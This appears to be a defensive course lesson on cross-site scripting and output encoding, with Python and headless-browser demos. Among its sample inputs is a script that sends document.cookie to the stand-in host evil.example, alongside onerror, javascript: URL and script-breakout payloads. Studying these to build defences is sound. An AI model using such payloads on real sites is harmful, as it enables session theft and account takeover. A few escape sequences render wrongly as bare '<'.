SyntaxPilot
Courses/Cybersecurity Fundamentals/Lesson 40
Video coming soonThis lesson’s video is being made

Start with the notes below; the video appears here as soon as it is on YouTube.

Cybersecurity Fundamentals · Lesson 40 of 90

Cross-site scripting and output encoding

XSSreflected XSSstored XSSDOM-based XSSsources and sinkscontextual output encoding (HTML body, attribute, JavaScript, URL, CSS)auto-escaping templatesinnerHTML vs textContentHTML sanitisation (DOMPurify)Trusted Typessession theft impactframework escape hatches

These are the notes for Cybersecurity Fundamentals (defensive), episode 40. Episodes 38 and 39 kept data as data in databases, shells, directories, templates and headers. Today the interpreter is on every visitor's computer: the web browser. A product review that runs code for everyone who reads it leads us to cross-site scripting (XSS), its three kinds (stored, reflected, DOM-based), and the habits that stop it: output encoding for the right context, auto-escaping templates, safe sinks like textContent, HTML sanitisation and Trusted Types. Every term is explained the first time it appears, and the Glossary at the end defines them all again.

Neha, Ravi, Asha, the shop and every value are made up. The Python demos build HTML strings and use a small checker (would_run) built on Python's HTML parser to list what a browser would execute; they never open a browser or send anything. The browser behaviour of innerHTML and textContent was checked separately in a local headless Chromium (code included below). evil.example is a reserved example domain. Never test XSS on sites you do not own or are not explicitly authorised to test. Python samples run with Python 3.13 (Jinja2 3.1; the mini project also uses nh3), and every output below is copied from a real run.

The problems you'll solve

Problem Idea it teaches
A review runs code for every visitor HTML, JavaScript, cross-site scripting, stored XSS
A search page repeats what you typed Reflected XSS, output encoding, HTML entities
An escaped value still runs Contexts: body, attribute, JavaScript, URL, CSS; contextual encoding
Developers forget to encode Auto-escaping templates, framework escape hatches
Browser code reads the address bar DOM-based XSS, sources and sinks, innerHTML vs textContent
Users want bold text HTML sanitisation (DOMPurify), Trusted Types
Why it matters Session theft, acting as the user

Problem 1: a review that runs code

Basic words first:

  • HTML (HyperText Markup Language): the language of web pages. Tags like <b> (bold) or <img> (image) tell the browser what to show. Markup means text with tags in it.
  • An attribute is extra information inside a tag, like src="x.png" in <img src="x.png">. Attributes starting with on, like onerror or onclick, are event handlers: JavaScript that runs when something happens.
  • JavaScript: the browser's programming language. Code inside <script>...</script> runs when the page loads.

Demo 1: reviews glued into the page

The would_run helper lists <script> contents, on... attributes and javascript: links: things a browser would execute. It is a checker for demos, not a browser.

# A toy shop page. Reviews are glued straight into the HTML.
from html.parser import HTMLParser
class WouldRun(HTMLParser):                   # lists what a BROWSER would execute
    def __init__(self): super().__init__(); self.found, self.tag = [], ""
    def handle_starttag(self, tag, attrs):
        self.tag = tag
        for k, v in attrs:
            if k.startswith("on") or (v or "").lower().startswith("javascript:"):
                self.found.append(f"{k}={v}")
    def handle_data(self, data):
        if self.tag == "script": self.found.append(f"<script>{data}")
    def handle_endtag(self, tag): self.tag = ""
def would_run(html): p = WouldRun(); p.feed(html); return p.found or "nothing"

REVIEWS = ["Best masala chai, <b>5 stars</b>!",
           "<script>fetch('//evil.example/?c=' + document.cookie)</script>",
           '<img src="x" onerror="alert(document.domain)">']

def render(reviews):
    return "\n".join("<li>" + r + "</li>" for r in reviews)

page = render(REVIEWS)
print(page)
print("\nthe browser would run:", would_run(page))

Output:

<li>Best masala chai, <b>5 stars</b>!</li>
<li><script>fetch('//evil.example/?c=' + document.cookie)</script></li>
<li><img src="x" onerror="alert(document.domain)"></li>

the browser would run: ["<script>fetch('//evil.example/?c=' + document.cookie)", 'onerror=alert(document.domain)']

Two pieces of code would run in every visitor's browser: a script that would send the visitor's cookies to another site, and an onerror handler (it fires because the image source x fails to load).

Why? The browser can't tell the shop's HTML from a customer's text. Data became markup, and markup can carry code.

What XSS is

Cross-site scripting (XSS): untrusted data ends up running as script in a site's pages. The script runs as the site: same origin, same cookies (unless protected), same rights as the real page's code.

Kind Where the code comes from Example
Stored XSS Saved on the server (database, file) and served to everyone Demo 1's review
Reflected XSS Echoed straight back from the request (URL, form) A search page: "Results for "
DOM-based XSS The browser's own JavaScript moves data from a source into a dangerous sink; the server may never see it Problem 4

MITRE's 2025 CWE Top 25 (updated 15 Dec 2025) ranks CWE-79, Cross-site Scripting, #1. OWASP's Top 10:2025 counts XSS inside A05 Injection and describes it as high frequency, lower impact, with over 30,000 CVEs.

Problem 2: output encoding

Real-life example: quoting a reader in a newspaper

A newspaper prints a reader's letter in quotation marks: shown as the reader's words, never treated as instructions to the printing press. Printing the characters <b> as letters doesn't make the text bold.

Output encoding (HTML escaping) turns a value's special characters into HTML entities, codes the browser displays but never interprets:

Character Entity
< &lt;
> &gt;
& &amp;
" &quot;
' &#x27;

Demo 2: encode every value on output

Python's html.escape() encodes all five (quotes too, by default).

# The fix: ENCODE every value for HTML before it goes into the page
import html
from html.parser import HTMLParser
class WouldRun(HTMLParser):                   # lists what a BROWSER would execute
    def __init__(self): super().__init__(); self.found, self.tag = [], ""
    def handle_starttag(self, tag, attrs):
        self.tag = tag
        for k, v in attrs:
            if k.startswith("on") or (v or "").lower().startswith("javascript:"):
                self.found.append(f"{k}={v}")
    def handle_data(self, data):
        if self.tag == "script": self.found.append(f"<script>{data}")
    def handle_endtag(self, tag): self.tag = ""
def would_run(html): p = WouldRun(); p.feed(html); return p.found or "nothing"

REVIEWS = ["Best masala chai, <b>5 stars</b>!",
           '<img src="x" onerror="alert(document.domain)">']
def render(reviews):
    return "\n".join("<li>" + html.escape(r) + "</li>" for r in reviews)

def search_page(q):                           # reflected: the input comes straight back
    return "<p>Results for " + html.escape(q) + "</p>"

page = render(REVIEWS) + "\n" + search_page("<script>alert(1)</script>")
print(page)
print("\nthe browser would run:", would_run(page))

Output:

<li>Best masala chai, &lt;b&gt;5 stars&lt;/b&gt;!</li>
<li>&lt;img src=&quot;x&quot; onerror=&quot;alert(document.domain)&quot;&gt;</li>
<p>Results for &lt;script&gt;alert(1)&lt;/script&gt;</p>

the browser would run: nothing

Nothing would run. Neha's bold now shows as text (<b>5 stars</b> visible): that's the price of encoding everything; rich text is solved in Problem 5. Encode on output, at the moment data goes into HTML, not when it's stored: the same data may also go into JSON, a CSV file or an email, each needing different handling.

Problem 3: contextual output encoding

A context is where in the page a value lands. Each context has its own special characters, so each needs its own encoding: contextual output encoding.

Context Example What's needed
HTML body <p>VALUE</p> HTML encoding
HTML attribute <img alt="VALUE"> HTML encoding and quotes around the value
JavaScript <script>var x = VALUE</script> JavaScript string encoding, plus escaping < (avoid if possible: pass data via a data- attribute or JSON fetch)
URL <a href="VALUE"> Scheme allowlist (http/https), URL encoding of parts, then HTML encoding
CSS <div style="color: VALUE"> Avoid user input; allowlist values

Demo 3: escaped, and still runs

# One escape doesn't fit every place. The CONTEXT decides the encoding.
import html
from urllib.parse import urlsplit
from html.parser import HTMLParser
class WouldRun(HTMLParser):                   # lists what a BROWSER would execute
    def __init__(self): super().__init__(); self.found, self.tag = [], ""
    def handle_starttag(self, tag, attrs):
        self.tag = tag
        for k, v in attrs:
            if k.startswith("on") or (v or "").lower().startswith("javascript:"):
                self.found.append(f"{k}={v}")
    def handle_data(self, data):
        if self.tag == "script": self.found.append(f"<script>{data}")
    def handle_endtag(self, tag): self.tag = ""
def would_run(html): p = WouldRun(); p.feed(html); return p.found or "nothing"

name = "x onerror=alert(1)"                  # goes into an attribute
link = "javascript:alert(document.cookie)"   # goes into a link's href
print("1 unquoted attr:", would_run(f"<img src=a.png alt={html.escape(name)}>"))
print("2 quoted attr  :", would_run(f'<img src=a.png alt="{html.escape(name)}">'))
print("3 href, escaped:", would_run(f'<a href="{html.escape(link)}">site</a>'))

def safe_url(u):                              # URL context: allow only http and https
    return u if urlsplit(u).scheme in ("http", "https") else "#"
print("4 href, checked:", would_run(f'<a href="{html.escape(safe_url(link))}">site</a>'))

Output:

1 unquoted attr: ['onerror=alert(1)']
2 quoted attr  : nothing
3 href, escaped: ['href=javascript:alert(document.cookie)']
4 href, checked: nothing
  1. Unquoted attribute: the space ended the alt value and onerror=alert(1) became a new attribute. html.escape didn't help: there were no special HTML characters to encode.
  2. Quoted: safe.
  3. javascript: URL: contains nothing to escape, so it still runs when clicked.
  4. Scheme check (urlsplit(u).scheme in ("http", "https")): safe.

Rules: always quote attributes; allowlist URL schemes; never put user input in event-handler attributes (onclick=...) at all.

Demo 4: the JavaScript context, and auto-escaping templates

json.dumps makes a valid JavaScript string, but the browser's HTML parser ends a <script> element at the first </script>, even inside a JavaScript string. Replacing < with < (its JavaScript escape) fixes that.

An auto-escaping template engine encodes every {{ value }} automatically. |safe is an escape hatch: it tells Jinja2 "don't escape this".

# JavaScript context, and templates that escape for you
import json
from jinja2 import Environment
from html.parser import HTMLParser
class WouldRun(HTMLParser):                   # lists what a BROWSER would execute
    def __init__(self): super().__init__(); self.found, self.tag = [], ""
    def handle_starttag(self, tag, attrs):
        self.tag = tag
        for k, v in attrs:
            if k.startswith("on") or (v or "").lower().startswith("javascript:"):
                self.found.append(f"{k}={v}")
    def handle_data(self, data):
        if self.tag == "script": self.found.append(f"<script>{data}")
    def handle_endtag(self, tag): self.tag = ""
def would_run(html): p = WouldRun(); p.feed(html); return p.found or "nothing"

name = "</script><script>alert(1)</script>"
js1 = f"<script>var name = {json.dumps(name)};</script>"          # JSON alone: not enough
js2 = f"<script>var name = {json.dumps(name).replace('<', '\\u003c')};</script>"
print("JS, json.dumps only:", would_run(js1))
print("JS, + escape <     :", len(would_run(js2)), "script: ours")

env = Environment(autoescape=True)           # auto-escaping: every {{ value }} is encoded
review = '<img src=x onerror="alert(1)">'
for t in ["<li>{{ r }}</li>", "<li>{{ r|safe }}</li>"]:      # |safe = "don't escape"
    out = env.from_string(t).render(r=review)
    print(t, "   -> " + out, "   runs: " + str(would_run(out)), sep="\n")

Output:

JS, json.dumps only: ['<script>var name = "', '<script>alert(1)']
JS, + escape <     : 1 script: ours
<li>{{ r }}</li>
   -> <li>&lt;img src=x onerror=&#34;alert(1)&#34;&gt;</li>
   runs: nothing
<li>{{ r|safe }}</li>
   -> <li><img src=x onerror="alert(1)"></li>
   runs: ['onerror=alert(1)']

Framework escape hatches

Modern frameworks escape by default; each has a way to opt out. Search your code for these, and make sure anything passing through has been sanitised:

Framework Escape hatch
React dangerouslySetInnerHTML
Vue v-html
Angular bypassSecurityTrustHtml (and the other bypassSecurityTrust... methods)
Django \|safe, mark_safe()
Jinja2 \|safe, Markup()

Problem 4: DOM-based XSS

The DOM (Document Object Model) is the browser's live tree of the page, which JavaScript reads and changes.

  • A source is where untrusted data enters browser code: location.hash (the part of the URL after #), location.search (the query string), document.referrer, postMessage data, localStorage.
  • A sink is a function or property that turns text into page content or code: innerHTML, outerHTML, insertAdjacentHTML, document.write, eval, setTimeout with a string, a javascript: URL.
  • DOM-based XSS = a source flowing into a dangerous sink. The part after # is never sent to the server, so server-side defences can't see it.

Real-life example: a kitchen tap (source: water comes in, clean or not) and the cooking pot (sink: where it's used). Use bottled water (a safe sink) or a filter (sanitise).

innerHTML vs textContent (checked in headless Chromium)

const name = decodeURIComponent(location.hash.slice(1));
a.innerHTML   = "Hi " + name;   // parses HTML
b.textContent = "Hi " + name;   // plain text

How we checked it: a local page served by Playwright's request interception (no real site), opened with #<img src=x onerror="alert('from the hash')">, with alert replaced by a function that records calls.

from playwright.sync_api import sync_playwright
html = """<div id=a></div><div id=b></div><script>
window.fired=[];window.alert=(m)=>window.fired.push(m);
const name = decodeURIComponent(location.hash.slice(1));
document.getElementById('a').innerHTML = 'Hi ' + name;
document.getElementById('b').textContent = 'Hi ' + name;
</script>"""
with sync_playwright() as p:
    b=p.chromium.launch(); pg=b.new_page()
    pg.route("http://shop.test/**", lambda r: r.fulfill(body=html, content_type="text/html"))
    pg.goto("http://shop.test/greet#"+'<img src=x onerror="alert(\'from the hash\')">')
    pg.wait_for_timeout(800)
    print("fired:", pg.evaluate("window.fired"))
    print("a:", pg.inner_html("#a")); print("b:", pg.inner_html("#b"))
    # script tag via innerHTML does not run
    pg.evaluate("document.getElementById('a').innerHTML='<script>alert(9)<\\/script>'"); pg.wait_for_timeout(300)
    print("fired after script tag:", pg.evaluate("window.fired"))
    # unquoted attr
    pg.set_content('<script>window.fired=[];window.alert=(m)=>window.fired.push(m)</script><img src=a.png alt=x onerror=alert(1)>'); pg.wait_for_timeout(800)
    print("unquoted attr fired:", pg.evaluate("window.fired"))
    print("chromium", b.version)

Output:

fired: ['from the hash']
a: Hi <img src="x" onerror="alert('from the hash')">
b: Hi &lt;img src=x onerror="alert('from the hash')"&gt;
fired after script tag: ['from the hash']
unquoted attr fired: [1]
chromium 153.0.8010.12
  • innerHTML parsed the image tag and the onerror handler fired.
  • textContent showed the text with &lt; (the browser displays <) and nothing ran.
  • A <script> inserted through innerHTML does not run (that's why attackers use onerror and similar), and an unquoted alt=x onerror=alert(1) attribute did fire, confirming demo 3.

Rule: to show text, use textContent (or innerText), never innerHTML.

Problem 5: users want bold text

HTML sanitisation

When a feature truly needs user HTML (formatted reviews, blog posts, rich-text editors), encoding is wrong: you sanitise instead. HTML sanitisation parses the HTML and keeps only an allowlist of harmless tags and attributes (like b, i, safe a href), dropping scripts, on... handlers and javascript: URLs.

Don't write your own sanitiser: browsers parse broken HTML in surprising ways. Use a vetted library:

  • DOMPurify (browser JavaScript, by cure53): its README calls it "a DOM-only, super-fast, uber-tolerant XSS sanitizer for HTML, MathML and SVG", and shows <img src=x onerror=alert(1)//> becoming <img src="x">. Usage: const clean = DOMPurify.sanitize(dirty);
  • On a Python server, nh3 (bindings to the Rust ammonia sanitiser) is one option; the mini project uses it.

Trusted Types

Trusted Types lock the sinks themselves. From MDN (fetched 9 Nov 2026):

  • The Content Security Policy directive require-trusted-types-for 'script' makes DOM XSS sinks like innerHTML reject plain strings: passing one throws a TypeError.
  • Sinks then accept only values created by a policy, a function you register (trustedTypes.createPolicy(...)), typically one that sanitises, often with DOMPurify. The trusted-types directive allowlists policy names.
  • MDN marks Trusted Types Baseline 2026: newly available, working across the latest browsers since February 2026 (older browsers may not support it).
const policy = trustedTypes.createPolicy("my-policy", {
  createHTML: (input) => DOMPurify.sanitize(input),
});
element.innerHTML = policy.createHTML(userInput);

Content Security Policy (CSP) itself, a response header that tells the browser which scripts may run, is the topic of episode 41.

Problem 6: why XSS matters

An injected script runs inside the page, so it can:

  1. Read cookies that lack the HttpOnly flag (episode 28) and send them away: session theft, after which the attacker is the user.
  2. Send requests as the user, even when cookies are HttpOnly, because the browser attaches them automatically to the site's own requests.
  3. Change the page, e.g. show a fake login form.
  4. Read whatever the page shows: orders, addresses, messages.

HttpOnly limits the damage; only encoding, sanitising and safe sinks prevent XSS.

The whole chain

  1. A review ran code → stored XSS.
  2. A search echoed a script → reflected XSS; html.escape on output.
  3. Escaped values still ran → contextual encoding: quote attributes, allowlist URL schemes, escape < in JavaScript, avoid CSS input.
  4. People forget → auto-escaping templates; review every escape hatch.
  5. Browser code read the URL hash → DOM-based XSS; sources, sinks, textContent.
  6. Users want bold → DOMPurify (sanitise), Trusted Types (lock the sinks).

Common mistakes (and what they print)

Mistake Real result Why Fix
Gluing user text into HTML the browser would run: [..., 'onerror=alert(document.domain)'] Data became markup html.escape() on output
Unquoted attribute 1 unquoted attr: ['onerror=alert(1)'] A space ends the value Always quote: alt="..."
Escaping a URL only 3 href, escaped: ['href=javascript:alert(document.cookie)'] javascript: has nothing to escape Allow only http/https
json.dumps alone in a script ['<script>var name = "', '<script>alert(1)'] </script> ends the element Also replace < with <
\|safe on user input runs: ['onerror=alert(1)'] Escape hatch switches encoding off Sanitise first, or don't
innerHTML for text fired: ['from the hash'] (Chromium) innerHTML parses HTML textContent

Mini project: a review page that is safe by default

Auto-escaping for everything, a vetted sanitiser for the review body (then Markup marks it as already safe), and an allowlist for the CSS colour.

# Mini project: a review page that is safe by default and allows a little formatting
#   pip install jinja2 nh3      (nh3 = Python bindings to the Rust "ammonia" HTML sanitiser)
import nh3
from jinja2 import Environment
from markupsafe import Markup

env = Environment(autoescape=True)                       # every {{ value }} is encoded
PAGE = env.from_string("""<h1>{{ product }}</h1>
<p>Search: {{ q }}</p>
<ul>{% for r in reviews %}<li style="color: {{ r.colour }}">{{ r.body }}</li>{% endfor %}</ul>""")

COLOURS = {"green", "navy", "maroon"}                    # CSS context: allowlist only
def clean_review(text, colour):
    body = nh3.clean(text, tags={"b", "i", "a"}, attributes={"a": {"href"}},
                     url_schemes={"http", "https"})      # sanitised: safe to mark as HTML
    return {"body": Markup(body), "colour": colour if colour in COLOURS else "black"}

reviews = [clean_review("Best chai, <b>5 stars</b>!", "green"),
           clean_review('<img src=x onerror="alert(1)">Nice <a href="javascript:alert(1)">link</a>',
                        "red; background: url(//evil.example)")]
print(PAGE.render(product="Masala <chai>", q="<script>alert(1)</script>", reviews=reviews))

Output:

<h1>Masala &lt;chai&gt;</h1>
<p>Search: &lt;script&gt;alert(1)&lt;/script&gt;</p>
<ul><li style="color: green">Best chai, <b>5 stars</b>!</li><li style="color: black">Nice <a rel="noopener noreferrer">link</a></li></ul>

The product name and search were encoded; the first review kept its bold; the second lost its image, onerror and javascript: link; and the injected colour fell back to black.

Practice

  1. Fix demo 1 with html.escape.
  2. Add a colour option to the reviews, safely (CSS context).
  3. Find three escape hatches in a project you know (search for the names in the table above).
  4. In one sentence: why doesn't HttpOnly stop XSS?
Practice 1 solution
# Practice 1 solution: demo 1 with html.escape on output
import html
REVIEWS = ["Best masala chai, <b>5 stars</b>!",
           "<script>fetch('//evil.example/?c=' + document.cookie)</script>",
           '<img src="x" onerror="alert(document.domain)">']
def render(reviews):
    return "\n".join("<li>" + html.escape(r) + "</li>" for r in reviews)
print(render(REVIEWS))

Output:

<li>Best masala chai, &lt;b&gt;5 stars&lt;/b&gt;!</li>
<li>&lt;script&gt;fetch(&#x27;//evil.example/?c=&#x27; + document.cookie)&lt;/script&gt;</li>
<li>&lt;img src=&quot;x&quot; onerror=&quot;alert(document.domain)&quot;&gt;</li>
Practice 2 solution

See the mini project: COLOURS = {"green", "navy", "maroon"} and colour if colour in COLOURS else "black". The injected value red; background: url(//evil.example) became black.

Practice 3 hint

Search for dangerouslySetInnerHTML, v-html, bypassSecurityTrust, |safe, mark_safe, Markup(, innerHTML =, insertAdjacentHTML, document.write. For each, ask: where does this value come from, and is it sanitised?

Practice 4 answer

HttpOnly only stops scripts from reading the cookie; the injected script still runs inside the page and can send requests as the user (the browser attaches the cookie), change the page and read what it shows.

Quick quiz

// a help page's own JavaScript:
const q = new URLSearchParams(location.search).get("q");
results.innerHTML = "No results for " + q;
// A: stored  B: reflected (server)  C: DOM-based  D: not XSS
Answer

C, DOM-based. The browser's own code reads a source (the query string, location.search) into a dangerous sink (innerHTML). No server template is involved. Fix: textContent.

Interview questions

  1. What is XSS? Untrusted data executing as script in a site's pages, with that site's privileges.
  2. Stored vs reflected vs DOM-based? Stored: saved and served to everyone. Reflected: echoed from the request. DOM-based: the browser's own JavaScript moves a source into a sink.
  3. What is the main defence? Contextual output encoding (ideally automatic, via auto-escaping templates), plus safe DOM APIs.
  4. Why isn't HTML escaping enough everywhere? Other contexts (unquoted attributes, URLs, JavaScript, CSS) have different special characters; e.g. javascript: URLs contain nothing to escape.
  5. innerHTML vs textContent? innerHTML parses HTML (a sink); textContent sets plain text.
  6. When do you sanitise instead of encode? When users must submit HTML; use a vetted allowlist sanitiser like DOMPurify.
  7. What are framework escape hatches? APIs that disable auto-escaping, e.g. React's dangerouslySetInnerHTML, Vue's v-html, Django's |safe.
  8. What are Trusted Types? A browser feature, enforced via CSP, that makes DOM sinks reject plain strings and accept only values from registered policies.
  9. Does HttpOnly prevent XSS? No; it stops cookie theft by script but not actions taken as the user.
  10. Should you encode on input or output? On output, for the specific context; store data as it is.

Glossary

Term Meaning Example
HTML The markup language of web pages <b>bold</b>
Tag An HTML instruction in angle brackets <img>, <script>
Markup Text with tags in it A page's HTML
Attribute Extra information inside a tag src="x.png"
Event handler An on... attribute holding JavaScript onerror="..."
JavaScript The browser's programming language alert(1)
Cross-site scripting (XSS) Untrusted data running as script in a site's pages A review with <script>
Stored XSS XSS saved on the server and served to many users Demo 1
Reflected XSS XSS echoed back from the request A search results page
DOM-based XSS Browser code moving a source into a sink innerHTML = location.hash
DOM The browser's live tree of the page document.getElementById(...)
Source Where untrusted data enters browser code location.hash
Sink Where text becomes HTML or code innerHTML, eval
Output encoding Converting special characters so they display as text < → &lt;
HTML entity A code for a character in HTML &lt;, &quot;
html.escape Python's HTML-encoding function html.escape("<b>")
Context Where in the page a value lands Body, attribute, JS, URL, CSS
Contextual output encoding Encoding chosen for the value's context Quote attributes; scheme allowlist
URL scheme The part before : in a URL https, javascript
javascript: URL A link that runs JavaScript when followed href="javascript:alert(1)"
URL encoding %XX codes for special characters in URLs space → %20
CSS The language for page styles color: navy
Template engine Fills placeholders in page templates Jinja2
Auto-escaping The template engine encodes every value by default Environment(autoescape=True)
Escape hatch An API that turns auto-escaping off \|safe, v-html
innerHTML DOM property that parses a string as HTML A dangerous sink
textContent DOM property that sets plain text A safe sink
HTML sanitisation Keeping only allowlisted tags and attributes DOMPurify
DOMPurify A widely used browser HTML sanitiser by cure53 DOMPurify.sanitize(x)
nh3 Python bindings to the Rust ammonia sanitiser nh3.clean(x, tags={...})
Trusted Types Browser feature: sinks accept only policy-made values require-trusted-types-for 'script'
Policy (Trusted Types) A registered function that creates trusted values createHTML: DOMPurify.sanitize
Content Security Policy (CSP) A header telling the browser what may run Episode 41
Baseline MDN's label for features available across major browsers "Baseline 2026"
Cookie Small data the browser stores and sends to a site A session ID
HttpOnly Cookie flag: scripts can't read the cookie Set-Cookie: sid=...; HttpOnly
Session theft Stealing a session cookie to act as the user XSS reading document.cookie
Headless browser A browser running without a window, for automation Headless Chromium
CWE-79 The CWE entry for cross-site scripting #1 in the 2025 Top 25

Summary

  • XSS is data running as script in a site's pages: stored, reflected or DOM-based.
  • Encode on output for the context: HTML body and quoted attributes (html.escape), allowlisted URL schemes, < escaped in JavaScript, no user input in CSS.
  • Keep auto-escaping on, and review every escape hatch.
  • In browser code, use textContent, not innerHTML; know your sources and sinks.
  • For rich text, sanitise with a vetted library (DOMPurify); lock sinks with Trusted Types.
  • HttpOnly limits session theft but doesn't stop XSS. Next episode: CSP and security headers.